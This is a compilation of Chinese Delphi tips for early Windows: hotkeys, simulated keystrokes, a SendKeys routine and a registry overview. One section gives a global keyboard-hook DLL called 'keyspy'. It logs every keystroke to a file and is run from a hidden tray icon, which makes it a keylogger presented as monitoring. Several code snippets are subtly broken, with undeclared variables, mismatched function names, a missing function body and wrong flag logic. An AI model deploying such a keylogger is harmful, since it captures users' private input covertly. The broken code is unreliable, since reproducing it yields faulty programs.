procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_TAB then
ShowMessage('Tab');
end;

end.


模拟TAB键

 SelectNext(ActiveControl,True,True);


获得按键的切换状态

 function GetToggleState(Key: integer): boolean;
begin
Result := Odd(GetKeyState(Key));
end;


应用程序热键的实现

---- 在一个应用程序内部菜单、部件都可以设置敏感键。如在菜单中一般用Alt+F进入“文件”之类的子菜单。另外我们在桌面上设置的快捷方式里的快捷键，无论你任何时候按下你所设置的快捷键就会启动相应的应用程序。在多个正在运行的应用程序中如何利用一个按键动作迅速地回到你所需要的应用程序呢？这就需要利用敏感键（HOTKEY）的技术来实现。本文利用Delphi3.0开发工具来阐述该技术在应用程序的实现方法。

一、敏感键的设置

---- 在windows Api中有一个函数RegisterHotKey用于设置敏感键，它的调用方式如下：

BOOL RegisterHotKey(
HWND hWnd, //响应该敏感键的窗口句柄
Int id, //该敏感键的唯一标示符
UINT fsModifiers, //该敏感键的辅助按键
UINT vk //该敏感键的键值
);

---- 其中敏感键的唯一标示符在Window中规定应用程序的取值范围为0x0000到0xBFFF之间，动态链接库的取值范围为0xC000到0xFFFF之间。为了保证其唯一性建议使用GlobalAddAtom函数来设置敏感键的唯一标示符。需要注意的是GlobalAddAtom还回的值是在0xC000到0xFFFF范围之间，为满足RegisterHotKey的调用要求，如果是在应用程序中设置敏感键可以利用GlobalAddAtom还回值减去0xC000。

---- 敏感键的辅助按键包括Mod_Ctrl 、Mod_Alt、Mod_Shift,对于Windows兼容键盘还支持Windows键，即其键面上有Windows标志的那个键，其值为Mod_win。

---- 在Delphi中建立一个“New Application”，在Tform1中的Private段中加入如下代码

private
{ Private declarations }
hotkeyid :integer;
procedure WMhotkeyhandle(var msg:Tmessage);
message wm_hotkey; //响应敏感键按键消息
在FormCreate事件中加入如下代码
…
hotkeyid:=GlobalAddAtom(pchar
(“UserDefineHotKey”))-$C000;
//减去$C000是为了保证取值范围的限制
registerhotkey(handle,hotkeyid,
MOD_CONTROL or mod_Altt,$41);
//敏感键为ctrl+Alt+A
…

二、敏感键的响应

---- 一旦敏感键设置成功，在程序应用过程中如果有相应敏感键被按下，Windows系统都会给你的应用程序发送一个消息WM_HOTKEY，不管你的应用程序是否为当前活动的。其中WM_HOTKEY消息的格式为：

idHotKey = (int) wParam;
//
该参数在设置系统级的敏感键有用,一般不予使用
fuModifiers = (UINT) LOWORD(lParam);
//敏感键的辅助按键
uVirtKey = (UINT) HIWORD(lParam);
//敏感键的键值

---- 因为Windows系统只是把一个WM_HotKey的消息发送给应用程序,要完成具体的事情需要一个消息处理程序,也就是上面Private段里的procedure WMhotkeyhandle(var msg:Tmessage); message wm_hotkey; 过程, 它的代码如下(这里只是简单地把窗口最前面显示)

  procedure TForm1.Wmhotkeyhandle
(var
msg:Tmessage);
begin
if (msg.LParamHi=$41) and
(msg.lparamLo=MOD_CONTROL or mod_Alt) then
begin
msg.Result:=1;
//该消息已经处理
application.BringToFront;
//把窗口最前面显示
end;
end;

三、敏感键的释放

---- 在应用程序退出来之前应当把你所设置的敏感键释放掉,以释放其所占有的系统资源,这里需要调用两个Windows API函数UNREGISTERHOTKEY,它的调用格式如下:

BOOL UNREGISTERHOTKEY(
HWND HWND, //与敏感键关联的窗口句柄
INT ID //敏感键的标示符
);
也就是说只要在FormClose事件中加入如下代码
…
unregisterhotkey(handle,hotkeyid);
DeleteAtom(HotKeyID);


判断PrintScreen键是否按下

type
TForm1 = class(TForm)
Button1: TButton;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
procedure AppIdle(Sender: TObject; var Done: Boolean);
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnIdle := AppIdle;
end;

procedure TForm1.AppIdle(Sender: TObject; var Done: Boolean);
begin
if GetAsyncKeyState(VK_SNAPSHOT) <> 0 then
Form1.Caption := 'SnapShot';
Done := True;
end;
////////////////////////////////////////////////////////////////////////////
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
procedure WMHotKey(var Msg : TWMHotKey); message WM_HOTKEY;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const id_SnapShot = 101;

procedure TForm1.WMHotKey (var Msg : TWMHotKey);
begin
if
Msg.HotKey = id_SnapShot then
ShowMessage('GotIt');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterHotKey(Form1.Handle,
id_SnapShot,
0,
VK_SNAPSHOT);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey (Form1.Handle, id_SnapShot);
end;


利用钩子技术实现键盘监控

在许多系统中，出于安全或其它原因，常常要求随时对键盘进行监控，一个专
业的监控程序必须具备两点，一是实时；二是作为指示图标运行。实际应用中把利
用Hook（即钩子）技术编写的应用程序添加到Windows的任务栏的指示区中就能够
很好的达到这个目的。我在参考了API帮助文档基础上，根据在Delphi开发环境中
的具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现：
Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用；如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。

1．新建一个导出两个函数的DLL文件，在hookproc.pas中定义了钩子具体实现过
程。代码如下：
library keyspy;
uses
windows, messages, hookproc in 'hookproc.pas';
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.

2.在Hookproc.pas中实现了钩子具体过程：
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const
afilename='c:\debug.txt';//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit; end;
end.

二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon，它有两个参数，一个是指向TnotifyIconData结构的指针，另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中，使其作为图标运行,增加专业特色。当程序起动后，用鼠标右键点击图标，则弹出一个菜单，可选择sethook或endhook。

unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定义一个用户消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll';

procedure tform1.icontray(var
msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown
then
sethook1click(self);
if msg.LParam=wm_rbuttondown
then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;

procedure TForm1.FormCreate(Sender:
TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon
or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon
:=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message
or nif_icon or
nif_tip;
shell_notifyicon(nim_add,@nid);
SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

procedure TForm1.sethook1Click(Sender: TObject);
begin
setkeyhook;
end;

procedure TForm1.endhook1Click(Sender: TObject);
begin
endkeyhook;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
nid.uFlags
:=0;
shell_notifyicon(nim_delete,@nid);
end;

procedure TForm1.Close1Click(Sender: TObject);
begin
application.terminate;
end;

该程序虽然只用了几个shellai函数，但是它涉及到了在Delphi中对DLL的引
用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的
内容，我相信这篇文章能对许多Delphi的初学者有所帮助。


模拟按键

让 WIN95 模拟按了一个按键，例如按下 ENTER或者 TAB 键?
PostMessage(Object.Handle, WM_KEYDOWN, VK_TAB, 0);

unit Unit1;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
private
AppInst: THandle;
AppWind: THandle;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

uses ShellAPI;

procedure SendShift(H: HWnd; Down: Boolean);
var vKey, ScanCode, wParam: Word;
lParam: longint;
begin
vKey:= $10;
ScanCode:= MapVirtualKey(vKey, 0);
wParam:= vKey or ScanCode shl 8;
lParam:= longint(ScanCode) shl 16 or 1;
if not(Down) then lParam:= lParam or $C0000000;
SendMessage(H, WM_KEYDOWN, vKey, lParam);
end;

procedure SendCtrl(H: HWnd; Down: Boolean);
var vKey, ScanCode, wParam: Word;
lParam: longint;
begin
vKey:= $11;
ScanCode:= MapVirtualKey(vKey, 0);
wParam:= vKey or ScanCode shl 8;
lParam:= longint(ScanCode) shl 16 or 1;
if not(Down) then lParam:= lParam or $C0000000;
SendMessage(H, WM_KEYDOWN, vKey, lParam);
end;

procedure SendKey(H: Hwnd; Key: char);
var vKey, ScanCode, wParam: Word;
lParam, ConvKey: longint;
Shift, Ctrl: boolean;
begin
ConvKey:= OemKeyScan(ord(Key));
Shift:= (ConvKey and $00020000) <> 0;
Ctrl:= (ConvKey and $00040000) <> 0;
ScanCode:= ConvKey and $000000FF or $FF00;
vKey:= ord(Key);
wParam:= vKey;
lParam:= longint(ScanCode) shl 16 or 1;
if Shift then SendShift(H, true);
if Ctrl then SendCtrl(H, true);
SendMessage(H, WM_KEYDOWN, vKey, lParam);
SendMessage(H, WM_CHAR, vKey, lParam);
lParam:= lParam or $C0000000;
SendMessage(H, WM_KEYUP, vKey, lParam);
if Shift then SendShift(H, false);
if Ctrl then SendCtrl(H, false);
end;

function EnumFunc(Handle: HWnd; TF: TForm1): Bool; Far;
begin
TF.AppWind:= 0;
if GetWindowWord(Handle, GWW_HINSTANCE) = TF.AppInst then
TF.AppWind:= Handle;
result:= (TF.AppWind = 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
var Text: Array[0..255] of char;
begin
AppInst:= ShellExecute(Handle, 'open', 'notepad.exe', nil, '', SW_NORMAL);
EnumWindows(@EnumFunc, longint(self));
AppWind:= GetWindow(AppWind, GW_CHILD);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SendKey(AppWind, 'T');
SendKey(AppWind, 'e');
SendKey(AppWind, 's');
SendKey(AppWind, 't');
end;

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
begin
if AppWind <> 0 then SendKey(AppWind, Key);
end;

end.

Ah,这个嘛......正好在《DELPHI新闻组学习笔记》上看到一篇：
How to send [Alt]+[Down]?--------------发出一个Alt+Down 组合键

Re:
Use the keybd_event API function to fake keyboard events. Note that each
key down event needs a matching key up or you mess up the key state array.

keybd_event( VK_MENU, MapVirtualKey( VK_MENU, 0 ), 0 , 0 ); // Alt down
keybd_event( VK_DOWN, MapVirtualKey( VK_DOWN, 0 ), 0 , 0 ); // down arrow key down
keybd_event( VK_DOWN, MapVirtualKey( VK_DOWN, 0 ), KEYEVENTF_KEYUP , 0 ); // down arrow key up
keybd_event( VK_MENU, MapVirtualKey( VK_MENU, 0 ), KEYEVENTF_KEYUP , 0 ); // Alt key up

经本人试验，确实可行，另加补充：
Ctrl: VK_CONTROL
SHIFT:VK_SHIFT
TAB: VK_TAB
'A': byte('A') (98-6-8 22:28)

(*
Converts a string of characters and key names to keyboard events and
passes them to Windows.

Example syntax:

SendKeys('abc123{left}{left}{left}def{end}456{left 6}ghi{end}789', True);

*)

Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
type
WBytes = array[0..pred(SizeOf(Word))] of Byte;

TSendKey = record
Name : ShortString;
VKey : Byte;
end;

const
{Array of keys that SendKeys recognizes.

If you add to this list, you must be sure to keep it sorted alphabetically
by Name because a binary search routine is used to scan it.}

MaxSendKeyRecs = 41;
SendKeyRecs : array[1..MaxSendKeyRecs] of TSendKey =
(
(Name:'BKSP'; VKey:VK_BACK),
(Name:'BS'; VKey:VK_BACK),
(Name:'BACKSPACE'; VKey:VK_BACK),
(Name:'BREAK'; VKey:VK_CANCEL),
(Name:'CAPSLOCK'; VKey:VK_CAPITAL),
(Name:'CLEAR'; VKey:VK_CLEAR),
(Name:'DEL'; VKey:VK_DELETE),
(Name:'DELETE'; VKey:VK_DELETE),
(Name:'DOWN'; VKey:VK_DOWN),
(Name:'END'; VKey:VK_END),
(Name:'ENTER'; VKey:VK_RETURN),
(Name:'ESC'; VKey:VK_ESCAPE),
(Name:'ESCAPE'; VKey:VK_ESCAPE),
(Name:'F1'; VKey:VK_F1),
(Name:'F10'; VKey:VK_F10),
(Name:'F11'; VKey:VK_F11),
(Name:'F12'; VKey:VK_F12),
(Name:'F13'; VKey:VK_F13),
(Name:'F14'; VKey:VK_F14),
(Name:'F15'; VKey:VK_F15),
(Name:'F16'; VKey:VK_F16),
(Name:'F2'; VKey:VK_F2),
(Name:'F3'; VKey:VK_F3),
(Name:'F4'; VKey:VK_F4),
(Name:'F5'; VKey:VK_F5),
(Name:'F6'; VKey:VK_F6),
(Name:'F7'; VKey:VK_F7),
(Name:'F8'; VKey:VK_F8),
(Name:'F9'; VKey:VK_F9),
(Name:'HELP'; VKey:VK_HELP),
(Name:'HOME'; VKey:VK_HOME),
(Name:'INS'; VKey:VK_INSERT),
(Name:'LEFT'; VKey:VK_LEFT),
(Name:'NUMLOCK'; VKey:VK_NUMLOCK),
(Name:'PGDN'; VKey:VK_NEXT),
(Name:'PGUP'; VKey:VK_PRIOR),
(Name:'PRTSC'; VKey:VK_PRINT),
(Name:'RIGHT'; VKey:VK_RIGHT),
(Name:'SCROLLLOCK'; VKey:VK_SCROLL),
(Name:'TAB'; VKey:VK_TAB),
(Name:'UP'; VKey:VK_UP)
);

{Extra VK constants missing from Delphi's Windows API interface}
VK_NULL=0;
VK_SemiColon=186;
VK_Equal=187;
VK_Comma=188;
VK_Minus=189;
VK_Period=190;
VK_Slash=191;
VK_BackQuote=192;
VK_LeftBracket=219;
VK_BackSlash=220;
VK_RightBracket=221;
VK_Quote=222;
VK_Last=VK_Quote;

ExtendedVKeys : set of byte =
[VK_Up,
VK_Down,
VK_Left,
VK_Right,
VK_Home,
VK_End,
VK_Prior, {PgUp}
VK_Next, {PgDn}
VK_Insert,
VK_Delete];

const
INVALIDKEY = $FFFF {Unsigned -1};
VKKEYSCANSHIFTON = $01;
VKKEYSCANCTRLON = $02;
VKKEYSCANALTON = $04;
UNITNAME = 'SendKeys';
var
UsingParens, ShiftDown, ControlDown, AltDown, FoundClose : Boolean;
PosSpace : Byte;
I, L : Integer;
NumTimes, MKey : Word;
KeyString : String[20];

procedure DisplayMessage(Message : PChar);
begin
MessageBox(0,Message,UNITNAME,0);
end;

function BitSet(BitTable, BitMask : Byte) : Boolean;
begin
Result:=ByteBool(BitTable and BitMask);
end;

procedure SetBit(var BitTable : Byte; BitMask : Byte);
begin
BitTable:=BitTable or Bitmask;
end;

   Procedure KeyboardEvent(VKey, ScanCode : Byte; Flags : Longint);
var
KeyboardMsg : TMsg;
begin
keybd_event(VKey, ScanCode, Flags,0);
If (Wait) then While (PeekMessage(KeyboardMsg,0,WM_KEYFIRST,
   WM_KEYLAST, PM_REMOVE)) do begin
TranslateMessage(KeyboardMsg);
DispatchMessage(KeyboardMsg);
end;
end;

   Procedure SendKeyDown(VKey: Byte; NumTimes : Word; GenUpMsg : Boolean);
var
Cnt : Word;
ScanCode : Byte;
NumState : Boolean;
KeyBoardState : TKeyboardState;
begin
If (VKey=VK_NUMLOCK) then begin
NumState:=ByteBool(GetKeyState(VK_NUMLOCK) and 1);
GetKeyBoardState(KeyBoardState);
If NumState then KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK]
    and not 1)
else KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK]
    or 1);
SetKeyBoardState(KeyBoardState);
exit;
end;

ScanCode:=Lo(MapVirtualKey(VKey,0));
For Cnt:=1 to NumTimes do
If (VKey in ExtendedVKeys)then begin
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY);
If (GenUpMsg) then
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)
end else begin
KeyboardEvent(VKey, ScanCode, 0);
If (GenUpMsg) then KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end;
end;

Procedure SendKeyUp(VKey: Byte);
var
ScanCode : Byte;
begin
ScanCode:=Lo(MapVirtualKey(VKey,0));
If (VKey in ExtendedVKeys)then
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)
else KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end;

Procedure SendKey(MKey: Word; NumTimes : Word; GenDownMsg : Boolean);
begin
If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyDown(VK_SHIFT,1,False);
If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyDown(VK_CONTROL,1,False);
If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyDown(VK_MENU,1,False);
SendKeyDown(Lo(MKey), NumTimes, GenDownMsg);
If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyUp(VK_SHIFT);
If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyUp(VK_CONTROL);
If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyUp(VK_MENU);
end;

{Implements a simple binary search to locate special key name strings}

   Function StringToVKey(KeyString : ShortString) : Word;
var
Found, Collided : Boolean;
Bottom, Top, Middle : Byte;
begin
Result:=INVALIDKEY;
Bottom:=1;
Top:=MaxSendKeyRecs;
Found:=false;
Middle:=(Bottom+Top) div 2;
Repeat
Collided:=((Bottom=Middle) or (Top=Middle));
If (KeyString=SendKeyRecs[Middle].Name) then begin
Found:=True;
Result:=SendKeyRecs[Middle].VKey;
end else begin
If
   (KeyString>SendKeyRecs[Middle].Name) then Bottom:=Middle
else Top:=Middle;
Middle:=(Succ(Bottom+Top)) div 2;
end;
Until (Found or Collided);
If (Result=INVALIDKEY) then DisplayMessage('Invalid Key Name');
end;

procedure PopUpShiftKeys;
begin
If (not UsingParens) then begin
If ShiftDown then SendKeyUp(VK_SHIFT);
If ControlDown then SendKeyUp(VK_CONTROL);
If AltDown then SendKeyUp(VK_MENU);
ShiftDown:=false;
ControlDown:=false;
AltDown:=false;
end;
end;

begin
AllocationSize:=MaxInt;
Result:=false;
UsingParens:=false;
ShiftDown:=false;
ControlDown:=false;
AltDown:=false;
I:=0;
L:=StrLen(SendKeysString);
If (L>AllocationSize) then L:=AllocationSize;
If (L=0) then Exit;

     While (I<L) do begin
case SendKeysString[I] of
'(' : begin
UsingParens:=True;
Inc(I);
end;
')' : begin
UsingParens:=False;
PopUpShiftKeys;
Inc(I);
end;
'%' : begin
AltDown:=True;
SendKeyDown(VK_MENU,1,False);
Inc(I);
end;
'+' :  begin
ShiftDown:=True;
SendKeyDown(VK_SHIFT,1,False);
Inc(I);
end;
'^' :  begin
ControlDown:=True;
SendKeyDown(VK_CONTROL,1,False);
Inc(I);
end;
'{' : begin
NumTimes:=1;
If
   (SendKeysString[Succ(I)]='{') then begin
MKey:=VK_LEFTBRACKET;
SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
SendKey(MKey,1,True);
PopUpShiftKeys;
Inc(I,3);
Continue;
end;
KeyString:='';
FoundClose:=False;
While (I<=L) do begin
Inc(I);
If (SendKeysString[I]='}') then begin
FoundClose:=True;
Inc(I);
Break;
end;
KeyString:=KeyString+Upcase(SendKeysString[I]);
end;
If
   (Not FoundClose) then begin
DisplayMessage('No Close');
Exit;
end;
If
   (SendKeysString[I]='}') then begin
MKey:=VK_RIGHTBRACKET;
SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
SendKey(MKey,1,True);
PopUpShiftKeys;
Inc(I);
Continue;
end;
PosSpace:=Pos(' ',KeyString);
If
   (PosSpace<>0) then begin
NumTimes:=StrToInt(Copy(KeyString,Succ(PosSpace),Length(KeyString)-PosSpace));
KeyString:=Copy(KeyString,1,Pred(PosSpace));
end;
If
   (Length(KeyString)=1) then MKey:=vkKeyScan(KeyString[1])
else MKey:=StringToVKey(KeyString);
If
   (MKey<>INVALIDKEY) then begin
SendKey(MKey,NumTimes,True);
PopUpShiftKeys;
Continue;
end;
end;
'~' : begin
SendKeyDown(VK_RETURN,1,True);
PopUpShiftKeys;
Inc(I);
end;
else  begin
MKey:=vkKeyScan(SendKeysString[I]);
If (MKey<>INVALIDKEY) then begin
SendKey(MKey,1,True);
PopUpShiftKeys;
end else DisplayMessage('Invalid KeyName');
Inc(I);
end;
end;
end;
Result:=true;
PopUpShiftKeys;
end;

问题提出/摘要:

当使用Enter键完成Tab键功能时，如何避免Windows产生的Beep声音？

回答:

新代码的目标是当在TEdit等控件中按Enter键时避免Windows产生的Beep声音。

注意：如果你是Delphi初学者，下面的第一个过程必须手工地在form类中正确声明才能使用。

procedure TForm1.EditKeyPress(Sender: TObject; var Key: Char);

begin

if key = #13 then key := #0;

end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

var

ACtrl: TWinControl;

k: TKeyPressEvent;

begin

if key = 13 then

begin

ACtrl := ActiveControl;

if ACtrl is TCustomMemo then exit;

if ACtrl is TEdit then

begin

if assigned(TEdit(ACtrl).onKeyPress) then

k:= TEdit(ACtrl).OnKeyPress;

TEdit(ACtrl).OnKeyPress := EditKeyPress;

end;

repeat

ACtrl:= FindNextControl(ACtrl,true,true,false);

until (ACtrl is TCustomEdit) or

(ACtrl is TCustomComboBox) or

(ACtrl is TCustomListBox) or

(ACtrl is TCustomCheckBox) or

(ACtrl is TRadioButton);

if ACtrl is TEdit then

begin

if assigned(K) then

TEdit(ACtrl).OnKeyPress := K;

end;

ACtrl.SetFocus ;

end;

end;


注册表详解

注 册 表 的 结 构
在 Windows 95 以上版本中，注册标由两个文件组成： System.dat 和 User.dat，保存在 Windows 所在文件夹中。前者包含硬件和软件的设置， 而后者包含与用户有关的信息。

要对注册表进行编辑不能使用一般的文本处理软件，在 Windows 中提供了一个注册表编辑的程序 Regedit 来查看和维护注册表。 启动 Regedit 后，您可以看到一个类似于资源管理器的界面。在左边的窗格"我的电脑下"有六个分支 (称为主键)。每一个主键保存着该计算机中软硬件设置的某一方面的信息或数据。

下表中列出了个主键的简要说明:

主 键 说明
HKEY_CLASSES_ROOT 包含文件扩展名和文件类型，其中也包括了从 Win.ini 文件中引入的扩展名的数据;还包括诸如我的电脑、回收站、控制面板等的类标识。 此主键的数据适用于所有用户。
HKEY_CURRENT_USER 保存有当前登录的用户的配置信息，如控制面板选项。
HKEY_LOCAL_MACHINE 包含本机上所有软硬件的信息，此主键的数据适用于所有用户。
HKEY_USERS 保存着所有登录到此机上的用户的信息。既包括通用设置(如应用程序事件) ,也包括特定用户的设置(如桌面)。
HKEY_CURRENT_CONFIG 包含所有连结到此机上的硬件的配置数据,如打印机和显示器的配置数据
HKEY_DYN_DATA 指向 HKEY_LOCAL_MACHINE 的一个分支,它包括诸如系统性能和既插既用的动态信息

注 册 表 中 主 键 的 功 能
● HKEY_CLASSES_ROOT关键字

    该关键字由多个子关键字组成，具体可分为两种:一种是已经注册的各类文件的扩展名，一种是各种文件类型的有关信息。图1左窗格中的子关键字就是各种已经注册的文件扩展名。

    注册表内登录的文件扩展名中，一部分是系统约定的扩展名，另一部分是由应用程序自定义的扩展名。应用程序只有把自定义的扩展名登录到注册表中，系统才能识别和关联使用有关的文档，即只有经过注册的扩展名，系统才能自动关联。

    当选中某个扩展名关键字时，在窗口的右窗格中将显示出有关的键值。例如在图1里选中“.avi ”时，从其键值可以看出，对该扩展名将默认为动画文件（avifile）。在HKEY_CLASSES_ROOT 关键字中也包含了该类型文件的详细信息。仍然以avifile文件为例，移动滚动条可以找到子关键字“AVIFile”， 选中AVIFile可以看到其键值默认为“视频剪辑”，表示可以对.avi文件进行编辑、播放等操作。单击AVIFile左边的“＋”号，可以看到如图2所示的树型子关键字。

    第一个子关键字是“CLSID”，即“分类标识”，在选中它时可以看到其默认的键值，如图3所示。系统可用这个标识号来识别相同类型的文件。 　　在 HKEY_CLASSES_ROOT主关键字下也有一个子关键字“CLSID”，其中包含了所有注册文件的类标识。因此也可以通过类标识来查找相关文件的各种信息。图4即是通过类标识查找AVIFILE文件的例子。可以看到在该标识字下面还有10个子关键字，它们的键值也同样表示了AVIFILE文件的有关信息。

    下面我们把AVIFile的全部子关键字展开，来看看它包含了哪些有关的信息。展开全部子关键字后的窗口如图5所示。

“Compressors”（压缩程序）下面的两个子关键字“auds”和“vids”分别给出了音频和视频数据压缩程序的类标识，通过这些类标识可以找到相应的处理程序。
“DefaultIcon”的键值为:“c:\pwin95\mplayer.exe,3”，表示文件的默认图标是mplayer.exe文件中提供的第3号图标。把“DefaultIcon”的键值改为:“c:\pwin95\mplayer.exe,4”，则采用图6中的第4号图标作为.avi文件的图标。
“Extensions”的作用是通过文件扩展名识别数据文件。它的3个子关键字中，AVI表示AVI文件，AV和WAV表示音频文件。
“Insertable”是插入表。
“protocol”包含了执行程序和编辑程序的路径和文件名。
打开“StdExecute”（标准执行程序）下面的子关键字“Server”，可看到键值为:“c:\pwin95\mplayer.exe/avi”，即指定了执行程序的路径和文件名。
打开“StdFileEditing”（标准文件编辑程序）下面的子关键字“Server”，可看到键值仍然为:“c:\pwin95\mplayer.exe/avi”，即编辑程序的路径和文件名。
“verb”下面的3个子关键字0、1、2键值表示程序的工作状态，分别为“播放”、“编辑”和“打开”。“RIFFHandlers”表示相关文件句柄，包含了AVI和WAVE文件的类标识。
“shell”包含了执行“打开”和“播放”命令的程序路径和文件名。它们在各自的“command”中列出的键值分别为“c:\pwin95\mplayer.exe %1”和“c:\pwin95\ mplayer.exe/play/close %1”。
“shellex”中包含了“多媒体文件属性表”（AviPage）的文件句柄。
    下面我们再结合修改快捷方式图标来说明如何使用注册表修改显示信息。

打开注册表编辑器，在 HKEY_CLASSES_ROOT 关键字下滚屏找到与快捷方式有关的子关键字“lnkfile”并选中它。如图7所示。
键名“IsShortcut ” 表示在桌面的快捷方式图标的左下角标注一个向上的小箭头，即 ，如果你不喜欢这个小箭头，可以采用下面的方法删除它:选中“IsShortcut”，然后打开“编辑”菜单，单击“删除”命令，将该项删除。关闭注册表并重启Win95，你将发现快捷方式图标上已经没有小箭头了 。
键名“NeverShowExt”表示在快捷方式图标下不显示文件扩展名。如果你希望显示扩展名，可以采用下面的方法把该键名改为“AlwayShowExt”:单击“NeverShowExt”，打开“编辑”菜单，单击“重命名”命令，输入新名。关闭注册表并重启Win95。你会发现快捷方式图标上已经加上扩展名了。
HKEY_CURRENT_USER关键字

HKEY_CURRENT_USER下面有7个子关键字。其中除“RemoteAccess”外，其余6个都为系统预定义。

AppEvents 登录已注册的各种应用事件
Control Panel 与控制面板设置有关的内容
InstallLocationsMRU 安装路径的有关信息
keyboard layout 键盘设置信息
Network 网络设置信息
RemoteAccess 此项是安装IE4.0建立的子关键字，包含该应用程序的有关信息 Software 软件的有关信息
1．AppEvents子关键字

    AppEvents子关键字包含了各种应用事件的列表。其下面又包含两个子关键字EventLabels（按字母顺序列表）和Schemes（按事件分类列表）。

    从图9可以看出，Schemes是按照应用（Apps）和命名（Name）对事件进行分类的。在本系统中，Apps共分为 Default（缺省）、Explorer（资源管理器）、Mplayer（媒体播放器）和Norton Navigator（笔者安装的应用程序）；Name一般情况下均采用Windows缺省值。在“控制面板”中打开“声音”对话框，你可以看到这些事件的中文列表，其内容与按照应用（Apps）来对事件分类的列表是一一对应的。

2．Control Panel子关键字

